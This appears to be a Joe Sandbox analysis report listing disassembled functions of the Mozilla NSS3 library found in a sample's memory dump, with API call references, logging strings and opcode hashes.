Part of subcall function 6C651D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6C651D7E
Part of subcall function 6C651D50: EnterCriticalSection.KERNEL32(?), ref: 6C651D8E
Part of subcall function 6C651D50: PR_Unlock.NSS3(?), ref: 6C651DD3

TlsGetValue.KERNEL32 ref: 6C65EE51
EnterCriticalSection.KERNEL32(?), ref: 6C65EE65
PR_Unlock.NSS3(?), ref: 6C65EEA2
free.MOZGLUE(?), ref: 6C65EEBB
PR_SetError.NSS3(00000000,00000000), ref: 6C65EED0
PR_Unlock.NSS3(?), ref: 6C65EF48
free.MOZGLUE(?), ref: 6C65EF68
PR_SetError.NSS3(00000000,00000000), ref: 6C65EF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6C65EFA4
free.MOZGLUE(?), ref: 6C65EFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C65F055
free.MOZGLUE(?), ref: 6C65F060

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: df8f2824481c6df74090de98ed8f282a938f40e6cc7d523ff1ecaef552043b61
Instruction ID: d2335d8b1e85aaae26017accfafa33bd26f6f1598aada7b9d52dc4668cc8c36b
Opcode Fuzzy Hash: df8f2824481c6df74090de98ed8f282a938f40e6cc7d523ff1ecaef552043b61
Instruction Fuzzy Hash: ED8192B1A00209ABDF00DF65DC85BEE7BB5BF49318F540024E909A3711EB35E924CBA9

Function 6C624CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6C624D80
PORT_Alloc_Util.NSS3(00000000), ref: 6C624D95
PORT_NewArena_Util.NSS3(00000800), ref: 6C624DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C624E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6C624E43
PORT_NewArena_Util.NSS3(00000800), ref: 6C624E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6C624E85
DER_Encode_Util.NSS3(?,?,6C7705A4,00000000), ref: 6C624EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6C624F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6C624F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C624F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C624F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C624F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C624FC8

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: c0e9454d6207fadcacc4423247b8ee6c0a807a3c4707767ba59194d85b9720d9
Instruction ID: c68185e8079ab879e06e56f602eadc4aea714cc764e47c9cdd04b8652b1e1dc7
Opcode Fuzzy Hash: c0e9454d6207fadcacc4423247b8ee6c0a807a3c4707767ba59194d85b9720d9
Instruction Fuzzy Hash: 0281C271908301AFE711CF24D840BABB7E4ABC5358F14892DF998DB640E7B5E905CF9A

Function 6C620470 Relevance: 21.2, APIs: 14, Instructions: 206timeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C6204B7

Part of subcall function 6C670FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6187ED,00000800,6C60EF74,00000000), ref: 6C671000
Part of subcall function 6C670FF0: PR_NewLock.NSS3(?,00000800,6C60EF74,00000000), ref: 6C671016
Part of subcall function 6C670FF0: PL_InitArenaPool.NSS3(00000000,security,6C6187ED,00000008,?,00000800,6C60EF74,00000000), ref: 6C67102B

PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C620539

Part of subcall function 6C671200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C6188A4,00000000,00000000), ref: 6C671228
Part of subcall function 6C671200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C671238
Part of subcall function 6C671200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C6188A4,00000000,00000000), ref: 6C67124B
Part of subcall function 6C671200: PR_CallOnce.NSS3(6C772AA4,6C6712D0,00000000,00000000,00000000,?,6C6188A4,00000000,00000000), ref: 6C67125D
Part of subcall function 6C671200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C67126F
Part of subcall function 6C671200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C671280
Part of subcall function 6C671200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C67128E
Part of subcall function 6C671200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C67129A
Part of subcall function 6C671200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C6712A1

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C62054A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C62056D
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6205CA
DER_GeneralizedTimeToTime_Util.NSS3(?,?), ref: 6C6205EA
PR_SetError.NSS3(FFFFE00C,00000000), ref: 6C6205FD
PR_SetError.NSS3(FFFFE07E,00000000), ref: 6C620621
PR_EnterMonitor.NSS3 ref: 6C62063E
PR_ExitMonitor.NSS3 ref: 6C620668
CERT_DestroyCertificate.NSS3(?), ref: 6C620697
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6206AC
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6206CC
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6206DA

Part of subcall function 6C61E6B0: PORT_ArenaMark_Util.NSS3(00000000,?,00000000,?,?,6C6204DC,?,?), ref: 6C61E6C9
Part of subcall function 6C61E6B0: PORT_ArenaAlloc_Util.NSS3(00000000,00000088,?,?,00000000,?,?,6C6204DC,?,?), ref: 6C61E6D9
Part of subcall function 6C61E6B0: memset.VCRUNTIME140(00000000,00000000,00000088,?,?,?,?,00000000,?,?,6C6204DC,?,?), ref: 6C61E6F4
Part of subcall function 6C61E6B0: SECOID_SetAlgorithmID_Util.NSS3(00000000,00000000,00000004,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6204DC,?), ref: 6C61E703
Part of subcall function 6C61E6B0: CERT_FindCertIssuer.NSS3(?,?,6C6204DC,0000000B,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C61E71E

Part of subcall function 6C61F660: PR_EnterMonitor.NSS3(6C62050F,?,00000001,?,?,?), ref: 6C61F6A8
Part of subcall function 6C61F660: PR_Now.NSS3(?,?,?,00000001,?,?,?), ref: 6C61F6C1
Part of subcall function 6C61F660: PR_ExitMonitor.NSS3(?,?,?,00000001,?,?,?), ref: 6C61F7C8

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Util$ArenaArena_ErrorFree$Monitor$EnterPool$CriticalExitSectionfree$AlgorithmAlloc_CallCertCertificateClearDeleteDestroyFindGeneralizedInitIssuerLockMark_OnceTimeTime_UnlockValuecallocmemset
String ID:
API String ID: 2470852775-0
Opcode ID: d19eb13a05ca701124856c5228d8308af805f78a5ba94de6fc455318ede92178
Instruction ID: 00b47aa77ca2ca917acaa80709f1e8b550fe7df90b10aa8568b454d1545d5789
Opcode Fuzzy Hash: d19eb13a05ca701124856c5228d8308af805f78a5ba94de6fc455318ede92178
Instruction Fuzzy Hash: D061F471A08341AFDB10CE18CC60F9B77E4AF84358F144528F959A7791E734E918CFAA

Function 6C658F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6C659582), ref: 6C658F5B

Part of subcall function 6C66BE30: SECOID_FindOID_Util.NSS3(6C62311B,00000000,?,6C62311B,?), ref: 6C66BE44

PORT_NewArena_Util.NSS3(00000800), ref: 6C658F6A

Part of subcall function 6C670FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6187ED,00000800,6C60EF74,00000000), ref: 6C671000
Part of subcall function 6C670FF0: PR_NewLock.NSS3(?,00000800,6C60EF74,00000000), ref: 6C671016
Part of subcall function 6C670FF0: PL_InitArenaPool.NSS3(00000000,security,6C6187ED,00000008,?,00000800,6C60EF74,00000000), ref: 6C67102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C658FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6C658FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6C73D820,6C659576), ref: 6C658FF9
DER_GetInteger_Util.NSS3(?), ref: 6C65901D
PORT_ZAlloc_Util.NSS3(?), ref: 6C65903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C659062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6C6590A2
PORT_ZAlloc_Util.NSS3(?), ref: 6C6590CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6C6590F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C65912D
free.MOZGLUE(00000000), ref: 6C659136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C659145

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: 3e8cb574cb3c85089a75b6a77f4e6a982050ab377cc3a6f02f71dcce6eb073ec
Instruction ID: ab98779c3b295a4239264f666d71eb45bb46e8ae3bdf64258044c00aee6ddbac
Opcode Fuzzy Hash: 3e8cb574cb3c85089a75b6a77f4e6a982050ab377cc3a6f02f71dcce6eb073ec
Instruction Fuzzy Hash: AE51F3B1A043009BEB10CF29DC40B9BB7E8AF99358F544929EC58C7701E731E955CBEA

Function 6C724960 Relevance: 21.1, APIs: 14, Instructions: 121COMMON

Download Yara Rule

APIs

malloc.MOZGLUE(00000004,?,6C728061,?,?,?,?), ref: 6C72497D
OpenSemaphoreA.KERNEL32(00100002,00000000,?), ref: 6C72499E
GetLastError.KERNEL32(?,?,6C728061,?,?,?,?), ref: 6C7249AC
PR_SetError.NSS3(FFFFE8C2,0000007B,?,?,6C728061,?,?,?,?), ref: 6C7249C2

Part of subcall function 6C6BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6BC2BF

PR_SetError.NSS3(FFFFE890,00000000,?,?,6C728061,?,?,?,?), ref: 6C7249D6
CreateSemaphoreA.KERNEL32(00000000,6C728061,7FFFFFFF,?), ref: 6C724A19
GetLastError.KERNEL32(?,?,?,?,6C728061,?,?,?,?), ref: 6C724A30
PR_SetError.NSS3(FFFFE8C9,000000B7,?,?,?,?,6C728061,?,?,?,?), ref: 6C724A49
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,6C728061,?,?,?,?), ref: 6C724A52
GetLastError.KERNEL32(?,?,?,?,6C728061,?,?,?,?), ref: 6C724A5A
free.MOZGLUE(00000000,?,?,?,?,?,6C728061,?,?,?,?), ref: 6C724A6A
CreateSemaphoreA.KERNEL32(?,6C728061,7FFFFFFF,?), ref: 6C724A9A
free.MOZGLUE(?,?,?,?,?,6C728061,?,?,?,?), ref: 6C724AAE
free.MOZGLUE(?,?,?,?,?,6C728061,?,?,?,?), ref: 6C724AC2

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Error$LastSemaphorefree$Create$CloseHandleOpenValuemalloc
String ID:
API String ID: 2092618053-0
Opcode ID: 32690f9d4fa1478fb26821c37c92d4e21c5da17afcadad5a6997a929a99a2cd3
Instruction ID: 8471d3591e3034944b93b5c148f2ea98675b2b57fb5e3f02974f8fd9ea4fb4a7
Opcode Fuzzy Hash: 32690f9d4fa1478fb26821c37c92d4e21c5da17afcadad5a6997a929a99a2cd3
Instruction Fuzzy Hash: 42410770B00305ABDF00AFB9CD49B9A7BB8BB4A359F100038F91AE3740DB3599149765

Function 6C64ADC0 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageSignInit), ref: 6C64ADE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C64AE17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C64AE29

Part of subcall function 6C72D930: PL_strncpyz.NSS3(?,?,?), ref: 6C72D963

PR_LogPrint.NSS3(?,00000000), ref: 6C64AE3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C64AE78
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C64AE8A
PR_LogPrint.NSS3(?,00000000), ref: 6C64AEA0

Strings

nrl, xrefs: 6C64AEB8, 6C64AEE6
C_MessageSignInit, xrefs: 6C64ADE1
hSession = 0x%x, xrefs: 6C64AE01, 6C64AE11
(CK_INVALID_HANDLE), xrefs: 6C64AE1F, 6C64AE80
hKey = 0x%x, xrefs: 6C64AE62, 6C64AE72

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageSignInit$nrl
API String ID: 332880674-3499099628
Opcode ID: 23c58dec794256ffba4f494191e316e867e3c72237d80b0fe2ed069cf73c073c
Instruction ID: f77664bd3a0b1ebab210bacd05594f4b13662512300395cfa3263cdf7a8b76b8
Opcode Fuzzy Hash: 23c58dec794256ffba4f494191e316e867e3c72237d80b0fe2ed069cf73c073c
Instruction Fuzzy Hash: 8F31D571600228FFDB019F14DD4CFAA37B5BB46319F44C434E9196BA12DB349909DBBA

Function 6C642DD0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6C642DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C642E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C642E33

Part of subcall function 6C72D930: PL_strncpyz.NSS3(?,?,?), ref: 6C72D963

PR_LogPrint.NSS3(?,00000000), ref: 6C642E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C642E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C642E81

Strings

pPin = 0x%p, xrefs: 6C642E63
nrl, xrefs: 6C642E99, 6C642EC4
hSession = 0x%x, xrefs: 6C642E0E, 6C642E1E
ulPinLen = %d, xrefs: 6C642E7C
(CK_INVALID_HANDLE), xrefs: 6C642E2C
C_InitPIN, xrefs: 6C642DF1

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN$nrl
API String ID: 1003633598-1384380042
Opcode ID: c07dc5367e8d6ce85211758350350b4a4505a5b4b121037e2b9227beb87bf1c3
Instruction ID: caad4a2fe085ca79c8fed900d30f132545a0909550411fa4fa7565c7c9aa1c70
Opcode Fuzzy Hash: c07dc5367e8d6ce85211758350350b4a4505a5b4b121037e2b9227beb87bf1c3
Instruction Fuzzy Hash: 7B31F171A01128EFCB019B54DE4CF8A3BB5EB42358F14C034E908A7A12DB349949CBBA

Function 6C646EF0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestUpdate), ref: 6C646F16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C646F44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C646F53

Part of subcall function 6C72D930: PL_strncpyz.NSS3(?,?,?), ref: 6C72D963

PR_LogPrint.NSS3(?,00000000), ref: 6C646F69
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C646F88
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6C646FA1

Strings

nrl, xrefs: 6C646FB9, 6C646FE7
ulPartLen = %d, xrefs: 6C646F9C
C_DigestUpdate, xrefs: 6C646F11
hSession = 0x%x, xrefs: 6C646F2E, 6C646F3E
(CK_INVALID_HANDLE), xrefs: 6C646F4C
pPart = 0x%p, xrefs: 6C646F83

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_DigestUpdate$nrl
API String ID: 1003633598-4152692721
Opcode ID: 78b2da7024588cb32f74d81e5060e60b811e3316fd4c5565735619ee0c0f2731
Instruction ID: 1cc3b17e6b8f38a84f18e3f7da19022eee2c6c374681b22b748d4c2fd52ab5fb
Opcode Fuzzy Hash: 78b2da7024588cb32f74d81e5060e60b811e3316fd4c5565735619ee0c0f2731
Instruction Fuzzy Hash: DA31B575601168EFDB019B54DE4CB9A3BB6EB42359F04C034E809A7A12DB35D948CBBA

Function 6C72C8A0 Relevance: 21.1, APIs: 14, Instructions: 94stringCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000020), ref: 6C72C8B9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C72C8DA
malloc.MOZGLUE(00000001), ref: 6C72C8E4
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C72C8F8
PR_NewLock.NSS3 ref: 6C72C909
PR_NewCondVar.NSS3(00000000), ref: 6C72C918
PR_NewCondVar.NSS3(00000000), ref: 6C72C92A

Part of subcall function 6C600F00: PR_GetPageSize.NSS3(6C600936,FFFFE8AE,?,6C5916B7,00000000,?,6C600936,00000000,?,6C59204A), ref: 6C600F1B
Part of subcall function 6C600F00: PR_NewLogModule.NSS3(clock,6C600936,FFFFE8AE,?,6C5916B7,00000000,?,6C600936,00000000,?,6C59204A), ref: 6C600F25

free.MOZGLUE(00000000), ref: 6C72C947

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Cond$LockModulePageSizecallocfreemallocstrcpystrlen
String ID:
API String ID: 2931242645-0
Opcode ID: c8cd343b18ce250cac17caee9fdfa75df56a816b7fbe969359156a5c559e994c
Instruction ID: ee08a2116721b528edf49d91a1e1224efef1f9e7a9ad0fe1bc4d2ae0d2bdfc17
Opcode Fuzzy Hash: c8cd343b18ce250cac17caee9fdfa75df56a816b7fbe969359156a5c559e994c
Instruction Fuzzy Hash: E521F9B1A007019BFB107F799D0966B3AB8FF1135AF140539E89AC2B40EB35D514CBA2

Function 6C60AF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C60AF47

Part of subcall function 6C6D9090: TlsGetValue.KERNEL32 ref: 6C6D90AB
Part of subcall function 6C6D9090: TlsGetValue.KERNEL32 ref: 6C6D90C9
Part of subcall function 6C6D9090: EnterCriticalSection.KERNEL32 ref: 6C6D90E5
Part of subcall function 6C6D9090: TlsGetValue.KERNEL32 ref: 6C6D9116
Part of subcall function 6C6D9090: LeaveCriticalSection.KERNEL32 ref: 6C6D913F

FreeLibrary.KERNEL32(?), ref: 6C60AF6D
free.MOZGLUE(?), ref: 6C60AFA4
free.MOZGLUE(?), ref: 6C60AFAA
PR_ExitMonitor.NSS3 ref: 6C60AFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6C60AFF5
PR_ExitMonitor.NSS3 ref: 6C60B005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C60B014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6C60B028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C60B03C

Strings

Unloaded library %s, xrefs: 6C60B023
%s decr => %d, xrefs: 6C60AFF0

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: 0eebbe384721f5691fb3a13ce3b77b8a44347083d1ba1041ed6e7998025b8939
Instruction ID: 05669928ba52391f14778a4081d0fd28c664b591951476cea68f8bdb6cf61411
Opcode Fuzzy Hash: 0eebbe384721f5691fb3a13ce3b77b8a44347083d1ba1041ed6e7998025b8939
Instruction Fuzzy Hash: C2314BB4B04110ABDB05AF61DE54A55B775EF4638CB288135EC0AA7A02F732E824C7FD

Function 6C656C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C65781D,00000000,6C64BE2C,?,6C656B1D,?,?,?,?,00000000,00000000,6C65781D), ref: 6C656C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C65781D,?,6C64BE2C,?), ref: 6C656C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C65781D), ref: 6C656C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C656C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C656C96

Part of subcall function 6C601240: TlsGetValue.KERNEL32(00000040,?,6C60116C,NSPR_LOG_MODULES), ref: 6C601267
Part of subcall function 6C601240: EnterCriticalSection.KERNEL32(?,?,?,6C60116C,NSPR_LOG_MODULES), ref: 6C60127C
